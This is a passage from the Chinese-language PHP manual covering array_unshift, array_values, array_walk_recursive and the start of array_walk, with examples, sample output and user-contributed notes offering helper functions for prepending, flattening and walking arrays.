'Kirby' => 'green',
'Gherkin' => 'green',
],
];

array_unshift($foods, $vegetables);
var_dump($foods);

以上示例会输出：

array(3) {
  [0] =>
  array(3) {
    'lettuce' =>
    array(2) {
      'Iceberg' =>
      string(5) "green"
      'Butterhead' =>
      string(5) "green"
    }
    'carrots' =>
    array(2) {
      'Deep Purple Hybrid' =>
      string(6) "purple"
      'Imperator' =>
      string(6) "orange"
    }
    'cucumber' =>
    array(2) {
      'Kirby' =>
      string(5) "green"
      'Gherkin' =>
      string(5) "green"
    }
  }
  'apples' =>
  array(2) {
    'McIntosh' =>
    string(3) "red"
    'Granny Smith' =>
    string(5) "green"
  }
  'oranges' =>
  array(2) {
    'Navel' =>
    string(6) "orange"
    'Valencia' =>
    string(6) "orange"
  }
}

参见

  • array_merge() - 合并一个或多个数组
  • array_shift() - 将数组开头的单元移出数组
  • array_push() - 将一个或多个单元压入数组的末尾（入栈）
  • array_pop() - 弹出数组最后一个单元（出栈）

User Contributed Notes

eliasritter168667 at gmail dot com 06-Nov-2023 08:52
This function helps if you want to prepend a key and value pair to the beginning of an array:

function array_kunshift(array $array, string|int $key, mixed $value): array {
        return array_merge([$key => $value], $array);
    }
Richard Akindele 16-Mar-2016 06:31
Another way to tack something to the beginning of an array is with array_merge().

$plans = array('AARP'=>'Senior', 'AAA'=>'Automobile Club');

$plans = array_merge(array("BAR"=>"Best Available Rate"),  $plans);
daniel at smallboxcms dot com 17-Apr-2015 08:18
Anonymous' associative version wasn't working for me, but it did with this small tweak:

function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return $arr;
}
Anonymous 19-Nov-2011 09:44
Sahn's example almost works but has a small error. Try it like this if you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    return = array_reverse($arr, true);
}
?>
sergei at gmx dot net 03-Oct-2007 08:49
You can preserve keys and unshift an array with numerical indexes in a really simple way if you'll do the following:

<?php
$someArray=array(224=>'someword1', 228=>'someword2', 102=>'someword3', 544=>'someword3',95=>'someword4');

$someArray=array(100=>'Test Element 1 ',255=>'Test Element 2')+$someArray;
?>

now the array looks as follows:

array(
100=>'Test Element 1 ',
255=>'Test Element 2'
224=>'someword1',
228=>'someword2',
102=>'someword3',
544=>'someword3',
95=>'someword4'
);
amschroeder at gmail dot com 26-Mar-2007 09:13
This becomes a nice little problem if you index your arrays out of order (while manually sorting).  For example:

<?php
$recordMonths[3] = '8/%/2006';
$recordMonths[4] = '7/%/2004';
$recordMonths[0] = '3/%/2007';
$recordMonths[1] = '2/%/2007';
$recordMonths[5] = '12/%/2000';
$recordMonths[6] = '11/%/2000';
$recordMonths[7] = '10/%/2000';
$recordMonths[2] = '1/%/2007';

for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
array_unshift($recordMonths,'%');
for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
?>

Produces:

singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 1/%/2007
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: %
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: 1/%/2007

It reindexes them based on the order they were created.  It seems like if an array has all numeric indexes, then it should reindex them based on the order of their index.  Just my opinion...
John Brooking 02-Jun-2006 06:54
I had a need tonight to convert a numeric array from 1-based to 0-based, and found that the following worked just fine due to the "side effect" of renumbering:

<?php
   array_unshift( $myArray, array_shift( $myArray ));
?>
php at electricsurfer dot com 26-Feb-2004 06:20
even simpler unshifting of a reference !
<?php
/**
 * @return int
 * @param $array array
 * @param $value mixed
 * @desc Prepend a reference to an element to the beginning of an array. Renumbers numeric keys, so $value is always inserted to $array[0]
 */
function array_unshift_ref(&$array, &$value)
{
   $return = array_unshift($array,'');
   $array[0] =& $value;
   return $return;
}
?>
lagroue 09-Nov-2003 04:46
Last version of PHP deprecated unshifting of a reference.
You can use this function instead :

<?php
function array_unshift1 (& $ioArray, $iValueWrappedInAnArray) {
    $lNewArray = false;
    foreach (array_keys ($ioArray) as $lKey)
        $lNewArray[$lKey+1] = & $ioArray[$lKey];
    $ioArray = array (& $iValueWrappedInAnArray[0]);
    if ($lNewArray)
        foreach (array_keys ($lNewArray) as $lKey)
             $ioArray[] = & $lNewArray[$lKey];
    return count($ioArray);
}

// before last PHP (now generates a deprecation warning)
array_unshift ($a, &$v);
// since last PHP (caution, there is a wrapping array !!)
array_unshift1 ($a, array (&$v));
?>
chris dot NoThxSpam dot given at hp dot com 23-Jul-2003 12:17
If you need to change the name of a key without changing its position in the array this function may be useful.

<?php
function array_key_change($Old, $New, $In, $NewVal=NULL) {
        $Temp = array();
        while(isset($Temp[$Old]) == false) {
                list($k, $v) = each($In);
                $Temp[$k] = $v;
                unset($In[$k]);
        }
        if($NewVal == NULL) {
                $NewVal = $Temp[$Old];
        }
        unset($Temp[$Old]);
        $Temp = array_reverse($Temp);
        $In = array_merge(array($New=>$NewVal), $In);
        while(list($k,$v) = each($Temp)) {
                $In = array_merge(array($k=>$v), $In);
        }
        return($In);
}
?>
rsmith_NOSPAM_ at _NOSPAM_unitec dot ac dot nz 30-Jul-2002 07:00
array_merge() will also reindex (see array_merge() manual entry), but the '+' operator won't, so...

<?php
$arrayone=array("newkey"=>"newvalue") + $arrayone;
?>

does the job.
robert dot wills at fuzzbrain dot uklinux dot net 07-Feb-2002 06:02
Actually this problem with the keys getting reindexed only happens when the keys are numerical:

<?php

$a = array("f"=>"five", "s" =>"six", "t" =>
        "twenty");

print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}

array_unshift($a, "zero");
print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}
?>

Array
(
    [f] => five
    [s] => six
    [t] => twenty
)

k: f v: five
k: s v: six
k: t v: twenty
Array
(
    [0] => zero
    [f] => five
    [s] => six
    [t] => twenty
)

k: 0 v: zero
k: f v: five
k: s v: six
k: t v: twenty
sahn at hmc dot edu 27-Jul-2001 12:21
If you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return count($arr);
}
?>


返回数组中所有的值

  • ? array_unshift
  • array_walk_recursive ?
  • PHP Manual
  • 数组 函数
  • 返回数组中所有的值

array_values

(PHP 4, PHP 5, PHP 7, PHP 8)

array_values — 返回数组中所有的值

说明

array_values(array $array): array

array_values() 返回 input 数组中所有的值并给其建立数字索引。

参数

array

数组。

返回值

返回含所有值的索引数组。

示例

Example #1 array_values() 例子

<?php
$array = array("size" => "XL", "color" => "gold");
print_r(array_values($array));
?>

以上示例会输出：

Array
(
    [0] => XL
    [1] => gold
)

参见

  • array_keys() - 返回数组中部分的或所有的键名
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

User Contributed Notes

biziclop at vipmail dot hu 01-May-2014 11:47
Remember, array_values() will ignore your beautiful numeric indexes, it will renumber them according tho the 'foreach' ordering:

<?php
$a = array(
 3 => 11,
 1 => 22,
 2 => 33,
);
$a[0] = 44;

print_r( array_values( $a ));
==>
Array(
  [0] => 11
  [1] => 22
  [2] => 33
  [3] => 44
)
?>
abimaelrc 10-May-2011 05:39
This is another way to get value from a multidimensional array, but for versions of php >= 5.3.x
<?php
/**
 * Get all values from specific key in a multidimensional array
 *
 * @param $key string
 * @param $arr array
 * @return null|string|array
 */
function array_value_recursive($key, array $arr){
    $val = array();
    array_walk_recursive($arr, function($v, $k) use($key, &$val){
        if($k == $key) array_push($val, $v);
    });
    return count($val) > 1 ? $val : array_pop($val);
}

$arr = array(
    'foo' => 'foo',
    'bar' => array(
        'baz' => 'baz',
        'candy' => 'candy',
        'vegetable' => array(
            'carrot' => 'carrot',
        )
    ),
    'vegetable' => array(
        'carrot' => 'carrot2',
    ),
    'fruits' => 'fruits',
);

var_dump(array_value_recursive('carrot', $arr)); // array(2) { [0]=> string(6) "carrot" [1]=> string(7) "carrot2" }
var_dump(array_value_recursive('apple', $arr)); // null
var_dump(array_value_recursive('baz', $arr)); // string(3) "baz"
var_dump(array_value_recursive('candy', $arr)); // string(5) "candy"
var_dump(array_value_recursive('pear', $arr)); // null
?>
chrysb at gmail dot com 24-Sep-2008 12:34
If you are looking for a way to count the total number of times a specific value appears in array, use this function:

<?php
function array_value_count ($match, $array)
{
    $count = 0;

    foreach ($array as $key => $value)
    {
        if ($value == $match)
        {
            $count++;
        }
    }

    return $count;
}
?>

This should really be a native function of PHP.
bluej100 at gmail dot com 07-Sep-2007 10:10
Most of the array_flatten functions don't allow preservation of keys. Mine allows preserve, don't preserve, and preserve only strings (default).

<?
// recursively reduces deep arrays to single-dimensional arrays
// $preserve_keys: (0=>never, 1=>strings, 2=>always)
function array_flatten($array, $preserve_keys = 1, &$newArray = Array()) {
  foreach ($array as $key => $child) {
    if (is_array($child)) {
      $newArray =& array_flatten($child, $preserve_keys, $newArray);
    } elseif ($preserve_keys + is_string($key) > 1) {
      $newArray[$key] = $child;
    } else {
      $newArray[] = $child;
    }
  }
  return $newArray;
}

// Tests

$array = Array(
  'A' => Array(
    1 => 'foo',
    2 => Array(
      'a' => 'bar'
    )
  ),
  'B' => 'baz'
);

echo 'var_dump($array);'."\n";
var_dump($array);
echo 'var_dump(array_flatten($array, 0));'."\n";
var_dump(array_flatten($array, 0));
echo 'var_dump(array_flatten($array, 1));'."\n";
var_dump(array_flatten($array, 1));
echo 'var_dump(array_flatten($array, 2));'."\n";
var_dump(array_flatten($array, 2));
?>
27-Apr-2004 06:47
<?php
/**
   flatten an arbitrarily deep multidimensional array
   into a list of its scalar values
   (may be inefficient for large structures)
   (will infinite recurse on self-referential structures)
   (could be extended to handle objects)
*/
function array_values_recursive($ary)
{
   $lst = array();
   foreach( array_keys($ary) as $k ){
      $v = $ary[$k];
      if (is_scalar($v)) {
         $lst[] = $v;
      } elseif (is_array($v)) {
         $lst = array_merge( $lst,
            array_values_recursive($v)
         );
      }
   }
   return $lst;
}
?>

code till dawn!  -mark meves!
nopy at users dot sourceforge dot net 24-Oct-2003 03:36
Just a warning that re-indexing an array by array_values() may cause you to reach the memory limit unexpectly.

For example, if your PHP momory_limits is 8MB,
 and says there's a BIG array $bigArray which allocate 5MB of memory.

Doing this will cause PHP exceeds the momory limits:

<?php
  $bigArray = array_values( $bigArray );
?>

It's because array_values() does not re-index $bigArray directly,
it just re-index it into another array, and assign to itself later.


对数组中的每个成员递归地应用用户函数

  • ? array_values
  • array_walk ?
  • PHP Manual
  • 数组 函数
  • 对数组中的每个成员递归地应用用户函数

array_walk_recursive

(PHP 5, PHP 7, PHP 8)

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

说明

array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool

将用户自定义函数 callback 应用到 array 数组中的每个单元。本函数会递归到更深层的数组中去。

参数

array

输入的数组。

callback

典型情况下 callback 接受两个参数。array 参数的值作为第一个，键名作为第二个。

Note:

如果 callback 需要直接作用于数组中的值，则给 callback 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

arg

如果提供了可选参数 arg，将被作为第三个参数传递给 callback。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 array_walk_recursive() 例子

<?php
$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

function test_print($item, $key)
{
echo "$key holds $item\n";
}

array_walk_recursive($fruits, 'test_print');
?>

以上示例会输出：

a holds apple
b holds banana
sour holds lemon

注意上例中的键 'sweet' 并没有显示出来。任何其值为 array 的键都不会被传递到回调函数中去。

参见

  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理

User Contributed Notes

lincoln dot du dot j at gmail dot com 21-Jul-2020 02:24
Normal function solution

//1,2,2,3,6,7,3,1,4,2
$arr=[
    [1,2],
    [2,3],
    6,7,[3,1,[4,2]]
];

function a($array){
    static $res=[];
    foreach($array as $val){
        if(is_array($val)){
            a($val);
        }else{
            $res[]=$val;
        }
    }
    return $res;
}

print_r(a($arr));
mike at mpsharp dot com 13-Jul-2019 04:32
Here's a more general solution to modifying the array to which the leaf belongs.   You can unset the current key, or add siblings, etc.

<?php
/**
 * Modified version of array_walk_recursive that passes in the array to the callback
 * The callback can modify the array or value by specifying a reference for the parameter.
 *
 * @param array The input array.
 * @param callable $callback($value, $key, $array)
 */
function array_walk_recursive_array(array &$array, callable $callback) {
    foreach ($array as $k => &$v) {
        if (is_array($v)) {
            array_walk_recursive_array($v, $callback);
        } else {
            $callback($v, $k, $array);
        }
    }
}
?>
Dario 01-Oct-2018 06:42
I was looking for how to change values of array since you can't pass array by reference anymore in new PHP versions, here is simple solution

<?php
array_walk_recursive(
    $myArray,
    function (&$value) {
        if (/*some condition*/) {
            $value = 'New value';
        }
    }
);
?>

After that $myArray will be altered with new value.
r 08-Apr-2018 02:54
How to modify external variable from inside recursive function using userdata argument.

<?php
$arr = [
   'one' => ['one_one' => 11, 'one_two' => 12],
   'two' => 2
];

$counter = 0;

//Does not persist
array_walk_recursive( $arr, function($value, $key, $counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);
echo "counter : $counter";

// result
// 11 : 1
// 12 : 1
// 2 : 1
// counter: 0

//Persists only in same array node
array_walk_recursive( $arr, function($value, $key, &$counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);

// result
// 11 : 1
// 12 : 2
// 2 : 1
// counter : 0

//Fully persistent. Using 'use' keyword
array_walk_recursive( $arr, function($value, $key) use (&$counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);
echo "counter : $counter";

// result
// 11 : 1
// 12 : 2
// 2 : 3
// counter : 3
seductiveapps.com 14-Mar-2018 05:45
usage :
$nd = $newsApp2->dataSources();
//walkArray ($nd, 'walkArray_printKey', 'walkArray_printValue');
// prints the entire array

$x = chaseToPath ($nd, 'RSS_list/English News',false);
walkArray ($x, 'walkArray_printKey', 'walkArray_printValue');
// prints everything under $nd['RSS_list']['English News']

function &chaseToPath (&$wm, $path, $create=false) {
    //var_dump ($create); die();
    //echo '$wm=<pre>'; var_dump ($wm);echo '</pre>'; //die();
    //$path = str_replace ('/', '/d/', $path);
    //$path .= '/d';
    $nodes = explode ('/', $path);
    $chase = &chase ($wm, $nodes, $create);

    //echo '$wm=<pre>'; var_dump ($wm);echo '</pre>'; die();
    /*
    $dbg = array (
        '$path' => $path,
        '$nodes' => $nodes,
        '$wm' => $wm,
        '$chase' => $chase
    );
    echo '$dbg=<pre style="background:red;color:yellow;">'; var_dump ($dbg); echo '</pre>';
    */
    //die();

    $false = false;
    if (good($chase)) {
        $arr = &result($chase);
        return $arr;
    } else return $false;
}

function &chase (&$arr, $indexes, $create=false) {
        if (false) {
        echo 'sitewide/functions.php --- $arr=<pre>'; var_dump ($arr); echo '</pre>';
        echo 'sitewide/functions.php --- $indexes=<pre>'; var_dump ($indexes); echo '</pre>';
        echo 'sitewide/functions.php --- $create=<pre>'; var_dump ($create); echo '</pre>';
        }
    $r = &$arr;
    foreach ($indexes as $idx) {
            //echo 'sitewide/functions.php --- $idx=<pre>'; var_dump ($idx); var_dump (array_key_exists($idx,$r)); var_dump ($r); echo '</pre>';
            if (
                    is_array($r)
                    && (
                            $create===true
                            || array_key_exists($idx,$r)
                    )
            ) {
                    if ($create===true && !array_key_exists($idx,$r)) $r[$idx]=array();
                    //echo 'sitewide/functions.php --- $idx=<pre>'; var_dump ($idx); echo '</pre>';
                    $r = &$r[$idx];
            } else {
                    $err = array(
                    'msg' => 'Could not walk the full tree',
                    'vars' => array(
                            '$idx--error'=>$idx,
                            '$indexes'=>$indexes,
                            '$arr'=>$arr
                            )
                    );
                    badResult (E_USER_NOTICE, $err);
                    $ret = false; // BUG #2 squashed
                    return $ret;
            }
    }

        //echo 'sitewide/functions.php --- $r=<pre>'; var_dump ($r); echo '</pre>';
    return goodResult($r);
}
CommentUser 07-Jul-2017 01:55
The following code, which returns back a flattened array of sorts into the $results array, in newer versions of PHP raises the error "PHP Fatal error:  Call-time pass-by-reference has been removed":

<?php

$results = array();

function example_function ($item, $key, &$arr_values)
{
    $arr_values[$key] = $item;
}

array_walk_recursive($data, 'example_function', &$results);

print_r($results);

?>

This can be fixed using an anonymous function:

<?php

$results = array();

array_walk_recursive($data, function ($item, $key) use (&$results){$results[$key] = $item;});

print_r($results);

?>
lincoln dot du dot j at gmail dot com 03-Jul-2017 06:40
multidimensional array to single array

$array=[1=>[2,5=>[4,2],[7,8=>[3,6]],5],4];
$arr=[];
array_walk_recursive($array, function($k){global $arr; $arr[]=$k;});
print_r($arr);

Output

Array ( [0] => 2 [1] => 4 [2] => 2 [3] => 7 [4] => 3 [5] => 6 [6] => 5 [7] => 4 )
Anonymous 03-Jul-2017 06:39
multidimensional array to single array

$array=[1=>[2,5=>[4,2],[7,8=>[3,6]],5],4];
$arr=[];
array_walk_recursive($array, function($k){global $arr; $arr[]=$k;});
print_r($arr);

Output

Array ( [0] => 2 [1] => 4 [2] => 2 [3] => 7 [4] => 3 [5] => 6 [6] => 5 [7] => 4 )
php at genjo dot fr 13-Mar-2015 05:33
I use RecursiveIteratorIterator with parameter CATCH_GET_CHILD to iterate on leafs AND nodes instead of array_walk_recursive function :

<?php
// Iteration on leafs AND nodes
foreach (new RecursiveIteratorIterator(new RecursiveArrayIterator($candidate), RecursiveIteratorIterator::CATCH_GET_CHILD) as $key => $value) {
    echo 'My node ' . $key . ' with value ' . $value . PHP_EOL;
}
?>
robin leffmann 28-Jan-2015 03:48
A simple solution for walking a nested array to obtain the last set value of a specified key:

<?php

$key = 'blah';
$val = null;
array_walk_recursive( $your_array,
                      function($v, $k, $u) { if($k === $u[0]) $u[1] = $v; },
                      [$key ,&$val] );

echo "$key = $val";

?>
gk at anuary dot com 07-Mar-2014 09:29
array_walk_recursive itself cannot unset values. Even though you can pass array by reference, unsetting the value in the callback will only unset the variable in that scope.

<?php
/**
 * http://uk1.php.net/array_walk_recursive implementation that is used to remove nodes from the array.
 *
 * @param array The input array.
 * @param callable $callback Function must return boolean value indicating whether to remove the node.
 * @return array
 */
function walk_recursive_remove (array $array, callable $callback) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = walk_recursive_remove($v, $callback);
        } else {
            if ($callback($v, $k)) {
                unset($array[$k]);
            }
        }
    }

    return $array;
}
?>

An up to date implementation of the above function can be looked up from https://github.com/gajus/marray/blob/master/src/marray.php#L116.
Anonymous 21-Nov-2013 10:42
since PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in foo(&$a);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.
Rodrigo Guariento 23-Aug-2013 01:27
Simple array_walk_recursive:

// var example
$myArray = Array(
  Array('keyA1' => '    textA1 ', 'keyA2' => '  textA2     '),
  Array('keyB1' => '    textB1 ', 'sub' =>
        Array('keyB1_sub1' => '      textB1_sub1   '),
          Array('keyB1_sub2' => '      textB1_sub2   ')
      ),
  Array('keyC1' => '    textC1 ', 'keyC2' => '  textC2     '),
  Array('keyD1' => '    textD1 ', 'keyD2' => '  textD2     '),
  Array('keyE1' => '    textE1 ', 'keyE2' => '  textE2     ')
);

// function for "trim" (or your function, use same structure)
function trimming($data) {
  if (gettype($data) == 'array')
    return array_map("trimming", $data);
  else
    return trim($data);
}

// get array
$myArray = array_map("trimming", $myArray);

// show array trimmed
var_dump($myArray);

/*
RESULT

array (size=5)
  0 =>
    array (size=2)
      'keyA1' => string 'textA1' (length=6)
      'keyA2' => string 'textA2' (length=6)
  1 =>
    array (size=3)
      'keyB1' => string 'textB1' (length=6)
      'sub' =>
        array (size=1)
          'keyB1_sub1' => string 'textB1_sub1' (length=11)
      0 =>
        array (size=1)
          'keyB1_sub2' => string 'textB1_sub2' (length=11)
  2 =>
    array (size=2)
      'keyC1' => string 'textC1' (length=6)
      'keyC2' => string 'textC2' (length=6)
  3 =>
    array (size=2)
      'keyD1' => string 'textD1' (length=6)
      'keyD2' => string 'textD2' (length=6)
  4 =>
    array (size=2)
      'keyE1' => string 'textE1' (length=6)
      'keyE2' => string 'textE2' (length=6)

*/
none at of dot your dot biz 03-Jun-2013 10:50
Since this is only mentioned in the footnote of the output of one of the examples, I feel it should be spelled out:

* THIS FUNCTION ONLY VISITS LEAF NODES *

That is to say that if you have a tree of arrays with subarrays of subarrays, only the plain values at the leaves of the tree will be visited by the callback function.  The callback function isn't ever called for a nodes in the tree that subnodes (i.e., a subarray).  This has the effect as to make this function unusable for most practical situations.
chris at willowsconsulting dot ie 23-Oct-2012 10:11
To convert all values of an array in UTF8, do this:

<?php

function convert_before_json(&$item, &$key)
{
   $item=utf8_encode($item);
}

array_walk_recursive($your_array,"convert_before_json");

?>
cyranix at cyranix dot com 28-Oct-2011 07:45
I needed to add or modify values in an array with unknown structure. I was hoping to use array_walk_recursive for the task, but because I was also adding new nodes I came up with an alternate solution.

<?php

    /**
     * Sets key/value pairs at any depth on an array.
     * @param $data an array of key/value pairs to be added/modified
     * @param $array the array to operate on
     */
    function setNodes($data, &$array)
    {
        $separator = '.'; // set this to any string that won't occur in your keys
        foreach ($data as $name => $value) {
            if (strpos($name, $separator) === false) {
                // If the array doesn't contain a special separator character, just set the key/value pair.
                // If $value is an array, you will of course set nested key/value pairs just fine.
                $array[$name] = $value;
            } else {
                // In this case we're trying to target a specific nested node without overwriting any other siblings/ancestors.
                // The node or its ancestors may not exist yet.
                $keys = explode($separator, $name);
                // Set the root of the tree.
                $opt_tree =& $array;
                // Start traversing the tree using the specified keys.
                while ($key = array_shift($keys)) {
                    // If there are more keys after the current one...
                    if ($keys) {
                        if (!isset($opt_tree[$key]) || !is_array($opt_tree[$key])) {
                            // Create this node if it doesn't already exist.
                            $opt_tree[$key] = array();
                        }
                        // Redefine the "root" of the tree to this node (assign by reference) then process the next key.
                        $opt_tree =& $opt_tree[$key];
                    } else {
                        // This is the last key to check, so assign the value.
                        $opt_tree[$key] = $value;
                    }
                }
            }
        }
    }

?>

Sample usage:

<?php

$x = array();
setNodes(array('foo' => 'bar', 'baz' => array('quux' => 42, 'hup' => 101)), $x);
print_r($x); // $x has the same structure as the first argument
setNodes(array('jif.snee' => 'hello world', 'baz.quux.wek' => 5), $x);
print_r($x); // added $x['jif']['snee'] and modified $x['baz']['quux'] to be array('wek' => 5)

?>
ghoffman at salientdigital dot com 13-Oct-2011 10:29
If you are wanting to change the values of an existing multi-dimensional array, as it says above in the note, you need to specify the first argument as a reference. All that means is, be sure to precede the $item variable with an ampersand (&) as in the good_example below.

Unfortunately the PHP example given doesn't do this. It actually took me a while to figure out why my function wasn't changing the original array, even though I was passing by reference.

Here's the tip: Don't return any value from the function! Just change the value of $item that you passed in by reference. This is rather counter-intuitive since the vast majority of functions return a value.

<?php
// array_walk_recursive fails to change your array unless you pass by reference.
// Don't return values from your filter function, even though it's quite logical at a glance!
function bad_example($item,$key){
   if($key=='test'){
       return 'PHP Rocks';  // Don't do it
   }else{
      return $item;  // Don't do this either
   }
}

// array_walk_recursive pass-by-reference example
function good_example(&$item,$key){
   if($key=='test'){
        $item='PHP Rocks'; // Do This!
   }
}

$arr = array('a'=>'1','b'=>'2','test'=>'Replace This');

array_walk_recursive($arr,'bad_example');
var_dump($arr);
/**
 * no errors, but prints...
 * array('a'=>'1','b'=>'2','test'=>'Replace This');
 */

array_walk_recursive($arr,'good_example');
var_dump($arr);
/**
 * prints...
 * array('a'=>'1','b'=>'2','test'=>'PHP Rocks');
 */

?>

Returning a value from your function does work if you pass by reference and modify $item before you return, but you will eat up memory very, very fast if you try it, even on an example as small as the one here.

One other silly thing you might try first is something like this:

<?php
// Resist the urge to do this, it doesn't work.
$filtered = array_walk_recursive($unfiltered,'filter_function');
?>

Of course, $filtered is just TRUE afterwards, not the filtered results you were wanting. Oh, it ran your function recursively alright, but changed all the values in the local function scope only and returns a boolean as the documentation states.
bradbeattie at gmail dot com 27-Aug-2010 11:18
The description says "If funcname needs to be working with the actual values of the array, specify the first parameter of funcname as a reference." This isn't necessarily helpful as the function you're calling might be built in (e.g. trim or strip_tags). One option would be to create a version of these like so.

<?php
    function trim_by_reference(&$string) {
        $string = trim($string);
    }
?>

The downside to this approach is that you need to create a wrapper function for each function you might want to call. Instead, we can use PHP 5.3's inline function syntax to create a new version of array_walk_recursive.

<?php
    /**
     * This function acts exactly like array_walk_recursive, except that it pretends that the function
     * its calling replaces the value with its result.
     *
     * @param $array The first value of the array will be passed into $function as the primary argument
     * @param $function The function to be called on each element in the array, recursively
     * @param $parameters An optional array of the additional parameters to be appeneded to the function
     *
     * Example usage to alter $array to get the second, third and fourth character from each value
     *     array_walk_recursive_referential($array, "substr", array("1","3"));
     */
    function array_walk_recursive_referential(&$array, $function, $parameters = array()) {
        $reference_function = function(&$value, $key, $userdata) {
            $parameters = array_merge(array($value), $userdata[1]);
            $value = call_user_func_array($userdata[0], $parameters);
        };
        array_walk_recursive($array, $reference_function, array($function, $parameters));
    }
?>

The advantage here is that we only explicitly define one wrapper function instead of potentially dozens.
amoffat at amoffat dot com 04-Jun-2008 05:15
<?
function my_array_map() {
    $args = func_get_args();
    $arr = array_shift($args);

    foreach ($args as $fn) {
        $nfn = create_function('&$v, $k, $fn', '$v = $fn($v);');
        array_walk_recursive($arr, $nfn, $fn);
    }
    return $arr;
}
?>

takes an array as the first argument, and functions as the other arguments.  it applies those functions recursively to the array
JW 14-Mar-2008 05:59
This function has a serious bug, which is still not fixed as of the PHP 5.2.5 release. After you call it, it can accidentally modify your original array. Save yourself hours of frustration by reading on.

The bug is here: http://bugs.php.net/bug.php?id=42850, and it looks like it will be fixed for 5.3.

If the array that you walk contains other array elements, they will be turned into references. This will happen even if the callback function doesn't take its first argument by reference, and doesn't do anything to the values.

For example, try this:
<?php
$data = array ('key1' => 'val1', 'key2' => array('key3' => 'val3'));
function foo($item, $key){}
var_dump($data);
?>

The original array has no references. Now try this:
<?php
array_walk_recursive($data,'foo');
var_dump($data);
?>

Now key2 is a reference, not just an array. So if you do this:
<?php
function test($item){$item['key2'] = array();}
test($data);
var_dump($data);
?>

you will see that test modifies $data, even though it shouldn't.

One workaround is to immediately make a deep copy of the array after calling array_walk_recursive, like this:
<?php
function array_duplicate($input) {
  if (!is_array($input)) return $input;
  $output = array();
  foreach ($input as $key => $value) {
    $output[$key] = array_duplicate($value);
  }
  return $output;
}
array_walk_recursive($data,'foo');
$data = array_duplicate($data);
var_dump($data);
?>

After doing that, the references are gone.
gabrielu at hotmail dot com 21-Feb-2006 01:13
I decided to add to the previous PHP 4 compatible version of array_walk_recursive() so that it would work within a class and as a standalone function.  Both instances are handled by the following function which I modified from omega13a at sbcglobal dot net.

The following example is for usage within a class.  To use as a standalone function take it out of the class and rename it.  (Example: array_walk_recursive_2)

<?php
class A_Class {

function array_walk_recursive(&$input, $funcname, $userdata = '') {
  if(!function_exists('array_walk_recursive')) {
    if(!is_callable($funcname))
      return false;

    if(!is_array($input))
      return false;

    foreach($input as $key=>$value) {
      if(is_array($input[$key])) {
        if(isset($this)) {
          eval('$this->' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
        } else {
          if(@get_class($this))
            eval(get_class() . '::' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
          else
            eval(__FUNCTION__ . '($input[$key], $funcname, $userdata);');
        }
      } else {
        $saved_value = $value;

        if(is_array($funcname)) {
          $f = '';
          for($a=0; $a<count($funcname); $a++)
            if(is_object($funcname[$a])) {
              $f .= get_class($funcname[$a]);
            } else {
              if($a > 0)
                $f .= '::';
              $f .= $funcname[$a];
            }
          $f .= '($value, $key' . (!empty($userdata) ? ', $userdata' : '') . ');';
          eval($f);
        } else {
          if(!empty($userdata))
            $funcname($value, $key, $userdata);
          else
            $funcname($value, $key);
        }

        if($value != $saved_value)
          $input[$key] = $value;
      }
    }
    return true;
  } else {
    array_walk_recursive($input, $funcname, $userdata);
  }
}

function kv_addslashes(&$v, $k) {
  $v = addslashes($v);
}
}
?>

Usage:
<?php
$arr = array(
  'a' => '"Hello World"',
  'b' => "'Hello World'",
  'c' => "Hello 'Worl\"d",
  'd' => array(
    'A' => 'H"e"l"l"o" "W"o"r"l"d'
    )
  );

$class = new A_Class();
$class->array_walk_recursive($arr, array(&$class, 'kv_addslashes'));
print_r($arr);
?>


使用用户自定义函数对数组中的每个元素做回调处理

  • ? array_walk_recursive
  • array ?
  • PHP Manual
  • 数组 函数
  • 使用用户自定义函数对数组中的每个元素做回调处理

array_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

说明

array_walk(array|object &$array, callable $callback, mixed $arg = null): bool

将用户自定义函数 callback 应用到 array 数组中的每个单元。

array_walk() 不会受到 array 内部数组指针的影响。array_walk() 会遍历整个数组而不管指针的位置。

参数

array

输入的数组。

callback

典型情况下 callback 接受两个参数。array 参数的值作为第一个，键名作为第二个。

Note:

如果 callback 需要直接作用于数组中的值，则给 callback 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。

Note:

